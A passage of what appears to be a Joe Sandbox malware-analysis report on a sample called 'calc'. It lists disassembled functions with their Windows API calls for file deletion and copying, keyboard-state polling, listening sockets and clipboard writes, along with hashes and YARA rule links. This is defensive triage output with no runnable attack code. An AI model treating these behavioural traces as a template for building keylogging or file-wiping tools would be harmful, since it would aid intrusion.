        • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
        • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
      • FindFirstFileW.KERNEL32(?,?), ref: 004151D3
      • lstrcmpiW.KERNEL32(?,?), ref: 00415293
      • DeleteFileW.KERNEL32(?), ref: 004152A0
      • MoveFileW.KERNEL32(?,?), ref: 004152BC
      • FindNextFileW.KERNEL32(?,00000010), ref: 004152D0
      • CopyFileW.KERNEL32(?,?,00000000), ref: 004152F0
      • DeleteFileW.KERNEL32(?), ref: 004152FD
      • CopyFileW.KERNEL32(?,?,00000000), ref: 0041530B
      • FindClose.KERNEL32(?), ref: 00415319
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$Find$CopyDelete$AttributesCloseFirstFullMoveNameNextPathlstrcmpi
      • String ID: \*.*
      • API String ID: 2474323978-1173974218
      • Opcode ID: a36343021f41aea084e20f4c81863218fcec1d7b3d7105e9ed11fc8940d8710d
      • Instruction ID: aacaddc1c19b48135d35dab2b4c22e42f007f3cfacbae92258d2fd995ae47f3c
      • Opcode Fuzzy Hash: a36343021f41aea084e20f4c81863218fcec1d7b3d7105e9ed11fc8940d8710d
      • Instruction Fuzzy Hash: F1512CB290066DEADF21EAA1CC48FCF77BCAF45354F0041D7E509E2141EA799AC8CB65
      Function 00424856 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 112fileCOMMON
      Download Yara Rule
      APIs
      • GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00424874
      • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00000000), ref: 004248E8
      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000,?,?,?,?,00000000), ref: 0042490E
      • RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0042491E
      • DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 004249AB
      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004249B6
      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004249C1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
      • String ID: :$\$\??\%s
      • API String ID: 3827137101-3457252023
      • Opcode ID: 1a5f9b6b0c894afbbac53d9d1e736d6b9851742d6e586ddccf845ee95b96f506
      • Instruction ID: 490b265d1c1b8bc703676836a20bc5cd6847e60d43ef2fc6bf4678178061e1e6
      • Opcode Fuzzy Hash: 1a5f9b6b0c894afbbac53d9d1e736d6b9851742d6e586ddccf845ee95b96f506
      • Instruction Fuzzy Hash: 0941A6B650022CAADB10AF64DC49EDB37BCEF48314F5041A6F919D2152DB34DF849BA9
      Function 0041111C Relevance: 16.6, APIs: 11, Instructions: 111keyboardCOMMON
      Download Yara Rule
      APIs
      • GetKeyboardState.USER32(?), ref: 00411140
      • GetAsyncKeyState.USER32(00000011), ref: 004111D3
      • GetKeyState.USER32(00000011), ref: 004111E7
      • GetAsyncKeyState.USER32(00000012), ref: 00411201
      • GetKeyState.USER32(00000012), ref: 0041120A
      • GetAsyncKeyState.USER32(000000A0), ref: 00411225
      • GetKeyState.USER32(000000A0), ref: 0041122D
      • GetAsyncKeyState.USER32(000000A1), ref: 0041124F
      • GetKeyState.USER32(000000A1), ref: 00411257
      • GetAsyncKeyState.USER32(0000005B), ref: 00411275
      • GetKeyState.USER32(0000005B), ref: 0041127E
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: State$Async$Keyboard
      • String ID:
      • API String ID: 541375521-0
      • Opcode ID: c338db2ebfc7b81165dcb8171b49bc99007ff0eb5cf1a9d99d3063b8f188d27e
      • Instruction ID: e31dbba070b44f53dd3458c3638453cf18232ab5b47055628d4a6071834e1978
      • Opcode Fuzzy Hash: c338db2ebfc7b81165dcb8171b49bc99007ff0eb5cf1a9d99d3063b8f188d27e
      • Instruction Fuzzy Hash: C241C4341093CD6AEB34DB648949BEBBBD49F55704F04045EDF8D533A2C3788D88976A
      Function 00420D89 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 516sleepCOMMON
      Download Yara Rule
      APIs
      • InterlockedIncrement.KERNEL32(004783F4), ref: 00420E10
      • InterlockedDecrement.KERNEL32(004783F4), ref: 00420E21
      • Sleep.KERNEL32(0000000A), ref: 00420E29
      • InterlockedIncrement.KERNEL32(004783F4), ref: 00420E30
        • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
        • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
      • InterlockedDecrement.KERNEL32(004783F4), ref: 00420F37
      • CharUpperBuffW.USER32(?,?), ref: 00420F75
      • InterlockedDecrement.KERNEL32(004783F4), ref: 0042104E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Interlocked$Decrement$IncrementLoadString$BuffCharSleepUpper
      • String ID: @COM_EVENTOBJ
      • API String ID: 934844991-2228938565
      • Opcode ID: d646c18140411800726c90bb1d856db12d7525a8836f33f7ac5f3ec4128abfa3
      • Instruction ID: 6ea2b9a6e17d07e1c07b5102837ec04bf299e60735082e7939a45b08f099e3a8
      • Opcode Fuzzy Hash: d646c18140411800726c90bb1d856db12d7525a8836f33f7ac5f3ec4128abfa3
      • Instruction Fuzzy Hash: 6E229A31A00269DFCB24DF64D881AED37B5FF14304F50816EF915A7262DB38A986CB98
      Function 00422C4D Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 210timefileCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(00000000,?), ref: 00422C7F
      • FindClose.KERNEL32(00000000), ref: 00422CC5
      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00422CF1
      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00422D05
      • FileTimeToSystemTime.KERNEL32(?,?), ref: 00422D27
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FileTime$FindLocal$CloseFirstSystem
      • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
      • API String ID: 3238362701-2428617273
      • Opcode ID: 71ca0f3d555a88e38985b6a51d8b0467d04d6e91d46064fc809aa1ba1af80b67
      • Instruction ID: b5dcbf70462fbe47fe172edd752ae1c2a7306ae79658aad27f2e11ace563c1bf
      • Opcode Fuzzy Hash: 71ca0f3d555a88e38985b6a51d8b0467d04d6e91d46064fc809aa1ba1af80b67
      • Instruction Fuzzy Hash: B47138B2900119ABCB10EBE5D8859EEB3BCAF08314F50415BF915E7241DB78EE458BA8
      Function 004230D5 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(00000000,?,76228FB0,?,00000000), ref: 004230F3
      • FindNextFileW.KERNEL32(00000000,?), ref: 0042314B
      • FindClose.KERNEL32(00000000), ref: 00423156
      • FindFirstFileW.KERNEL32(*.*,?), ref: 0042317C
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004231C9
      • SetCurrentDirectoryW.KERNEL32(004604D0), ref: 004231E7
      • FindNextFileW.KERNEL32(00000000,00000010), ref: 004231F1
      • FindClose.KERNEL32(00000000), ref: 004231FE
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Find$File$CloseCurrentDirectoryFirstNext
      • String ID: *.*
      • API String ID: 1688175871-438819550
      • Opcode ID: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
      • Instruction ID: 29861fd0da0d17a13f764a0acb193fcdcc356ff7de37d4c9d30fbf1bb77053e7
      • Opcode Fuzzy Hash: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
      • Instruction Fuzzy Hash: 5631A9316002297ADF209FA0BD49FFB37BCAF44316F540097F90492181EB7DDE159A18
      Function 0041605B Relevance: 12.1, APIs: 8, Instructions: 92COMMON
      Download Yara Rule
      APIs
      • FindResourceW.KERNEL32(?,?,0000000E), ref: 004160AD
      • LoadResource.KERNEL32(?,00000000), ref: 004160B9
      • LockResource.KERNEL32(00000000), ref: 004160BC
      • FindResourceW.KERNEL32(?,?,00000003), ref: 004160E1
      • LoadResource.KERNEL32(?,00000000), ref: 004160EA
      • SizeofResource.KERNEL32(?,?), ref: 004160F5
      • LockResource.KERNEL32(00000000), ref: 00416101
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Resource$FindLoadLock$Sizeof
      • String ID:
      • API String ID: 4215241788-0
      • Opcode ID: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
      • Instruction ID: ad861e728714f87d0bd08c3f0af146d5d0e55425d81be2c55b6ca67d22e84554
      • Opcode Fuzzy Hash: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
      • Instruction Fuzzy Hash: F7318B71800219AFEF10DFA0DD48AAF7BBAEB04305F004426F905A2261E375DE60DB69
      Function 0042A4F2 Relevance: 10.6, APIs: 7, Instructions: 54clipboardmemoryCOMMON
      Download Yara Rule
      APIs
      • GlobalAlloc.KERNEL32(00000002,?), ref: 0042A524
      • GlobalLock.KERNEL32(00000000), ref: 0042A531
      • GlobalUnlock.KERNEL32(00000000), ref: 0042A560
      • OpenClipboard.USER32 ref: 0042A56C
      • EmptyClipboard.USER32 ref: 0042A572
      • SetClipboardData.USER32(0000000D,00000000), ref: 0042A57B
      • CloseClipboard.USER32 ref: 0042A581
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
      • String ID:
      • API String ID: 1677084743-0
      • Opcode ID: c603adeed05f15c6f61e8f7b7d687119e1396cfb15f998f46e660c351e18ca09
      • Instruction ID: 6cccff68164277771eb89f088960f801e9b52451248a8bbc4c77ee29cd5c4e6e
      • Opcode Fuzzy Hash: c603adeed05f15c6f61e8f7b7d687119e1396cfb15f998f46e660c351e18ca09
      • Instruction Fuzzy Hash: 7401C432104220FFD710BB61EC0DE6F3768AF45726F45046AF80597162DB28CC86CB6A
      Function 0042F3BC Relevance: 9.1, APIs: 6, Instructions: 77networkCOMMON
      Download Yara Rule
      APIs
      • socket.WS2_32(00000002,00000001,00000006), ref: 0042F428
      • WSAGetLastError.WS2_32(00000000,00000002,00000001,00000006,?,00000000,00000000), ref: 0042F436
      • bind.WS2_32(00000000,?,00000010), ref: 0042F44E
      • listen.WSOCK32(00000000,00000005), ref: 0042F45C
      • WSAGetLastError.WS2_32(00000000,00000002,00000001,00000006,?,00000000,00000000), ref: 0042F46A
      • closesocket.WS2_32(00000000), ref: 0042F47A
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorLast$bindclosesocketlistensocket
      • String ID:
      • API String ID: 1279440585-0
      • Opcode ID: 23d60ec8938c12dcff92dea0958b30484043bd5e484a518ab48403b1d2719e68
      • Instruction ID: 28023dcdb2f292c3a4eb683a391c007bd58f3907a0e68a2917aa8acad0e77ec9
      • Opcode Fuzzy Hash: 23d60ec8938c12dcff92dea0958b30484043bd5e484a518ab48403b1d2719e68
      • Instruction Fuzzy Hash: E1219730700224ABDB10FB65DC42E9F73B5AF10328F90417FF955A7292D778AE458699
      Function 00426292 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120filesleepCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000001), ref: 004262D4
      • Sleep.KERNEL32(0000000A,00000000), ref: 00426302
      • FindNextFileW.KERNEL32(?,?,00000000), ref: 004263DC
      • FindClose.KERNEL32(?), ref: 004263F4
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Find$File$CloseFirstNextSleep
      • String ID: *.*
      • API String ID: 1749430636-438819550
      • Opcode ID: 3e8d328fb9d0a0df152669ceac2e35e150d87d91138b84c2d4f04a028453713d
      • Instruction ID: 14313086ed1824e1ac955e4be02adb7ecbe1729315f12b359723cfbb7ee217a5
      • Opcode Fuzzy Hash: 3e8d328fb9d0a0df152669ceac2e35e150d87d91138b84c2d4f04a028453713d
      • Instruction Fuzzy Hash: 8241B031A04229AFDF10EF60EC85AEEBB74FF00324F5541ABE825A2191D779DE45CB58
      Function 00414FFA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87fileCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
        • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
      • FindFirstFileW.KERNEL32(?,?), ref: 00415075
      • DeleteFileW.KERNEL32(?), ref: 004150D8
      • FindNextFileW.KERNEL32(00000000,00000010), ref: 004150EB
      • FindClose.KERNEL32(00000000), ref: 00415101
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$Find$AttributesCloseDeleteFirstFullNameNextPath
      • String ID: \*.*
      • API String ID: 1127339523-1173974218
      • Opcode ID: ccb680eb065897f83bf5c081a3fcf52e97192ceb06a48353c20d1d040dc82788
      • Instruction ID: 409b15486f08223be286d2985c7cc7ce5df5238f831beca23a735b92d1d425b1
      • Opcode Fuzzy Hash: ccb680eb065897f83bf5c081a3fcf52e97192ceb06a48353c20d1d040dc82788
      • Instruction Fuzzy Hash: E8319372C4022C9ADB20E7A0CC89EDB77BCAB19314F0405D7E519D2141EA399BC88F55
      Function 00430B6B Relevance: 7.7, APIs: 5, Instructions: 226comCOMMON
      Download Yara Rule
      APIs
      • OleInitialize.OLE32(00000000), ref: 00430BCF
      • CreateBindCtx.OLE32(00000000,?), ref: 00430C6D
      • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 00430CA2
      • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430D3B
      • GetActiveObject.OLEAUT32(?,00000000,?), ref: 00430D5F
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ActiveBindCreateDisplayFromInitializeNameObjectParseProg
      • String ID:
      • API String ID: 2624060339-0
      • Opcode ID: 78d98e9ef6012a7890a48b1e667d53dffbd1682f643dec9bf68f0a9dbe00c454
      • Instruction ID: da78810dc58ee67beca8740cb072a36e8d7e879c082b736ce8f307c953f0df69
      • Opcode Fuzzy Hash: 78d98e9ef6012a7890a48b1e667d53dffbd1682f643dec9bf68f0a9dbe00c454
      • Instruction Fuzzy Hash: D1713671900209AFDF04EBE1DC94CEEBBB9EF48358F10566AF401AB121DB39AD45CB58
      Function 0042F9C7 Relevance: 7.6, APIs: 5, Instructions: 122networkCOMMON
      Download Yara Rule
      APIs
      • socket.WS2_32(00000002,00000002,00000011), ref: 0042FA27
      • WSAGetLastError.WS2_32(00000000,00000002,00000002,00000011,?,?,00000000,00000000), ref: 0042FA44
      • bind.WS2_32(000000FF,?,00000010), ref: 0042FA5E
      • WSAGetLastError.WS2_32(00000000,000000FF,?,00000010,00000002,00000002,00000011,?,?,00000000,00000000), ref: 0042FA6A
      • closesocket.WS2_32(000000FF), ref: 0042FA7C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorLast$bindclosesocketsocket
      • String ID:
      • API String ID: 2609815416-0
      • Opcode ID: e7397f1c144a3e631e766c81722d41783a29369c490b2386a7dce95c5e9ce37f
      • Instruction ID: 3a16f63b51b195d841c79802276cd2fb353c8446d2eaf561272c81bd1857b55e
      • Opcode Fuzzy Hash: e7397f1c144a3e631e766c81722d41783a29369c490b2386a7dce95c5e9ce37f
      • Instruction Fuzzy Hash: 1F41DA31700224ABDB10FB65D842ADDB774AF00368F90427FF915A7292CB78ED858788
      Function 00440FF0 Relevance: 7.6, APIs: 5, Instructions: 57windowCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0043F161: IsWindow.USER32(00000000), ref: 0043F18E
      • IsWindowVisible.USER32(?), ref: 00441030
      • IsWindowEnabled.USER32(?), ref: 0044103E
      • GetForegroundWindow.USER32 ref: 0044104B
      • IsIconic.USER32(?), ref: 00441059
      • IsZoomed.USER32(?), ref: 00441067
      Memory Dump Source
